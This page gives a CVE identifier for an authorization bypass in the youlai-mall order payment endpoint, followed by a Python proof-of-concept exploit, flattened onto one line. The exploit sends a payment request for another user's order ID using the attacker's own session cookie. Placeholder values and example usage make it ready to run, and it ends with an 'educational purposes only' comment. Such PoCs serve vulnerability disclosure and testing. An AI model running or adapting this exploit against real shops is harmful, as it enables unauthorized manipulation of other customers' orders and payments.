CVE-2025-15084 | youlai-mall订单支付接口权限绕过漏洞

import requests import json # CVE-2025-15084 PoC - youlai-mall Order Payment Authorization Bypass target_url = "http://target-server/api/oms/order/pay" # Attackers need to obtain valid order IDs from other users # This PoC demonstrates the authorization bypass in payOrder function def exploit_order_payment_bypass(target_url, session_cookie, order_id): """ Exploit unauthorized order payment access Args: target_url: Target vulnerable endpoint session_cookie: Valid session cookie for authenticated user order_id: Target order ID to pay (belonging to another user) Returns: HTTP response from the vulnerable endpoint """ headers = { "Cookie": session_cookie, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } payload = { "orderId": order_id, "payMethod": "wechat", "payChannel": "app" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None # Example usage # Replace with actual values session = "JSESSIONID=your_session_id_here" order_id = 123456789 result = exploit_order_payment_bypass(target_url, session, order_id) if result: print(f"Status Code: {result.status_code}") print(f"Response: {result.text}") # Note: This PoC is for educational and security testing purposes only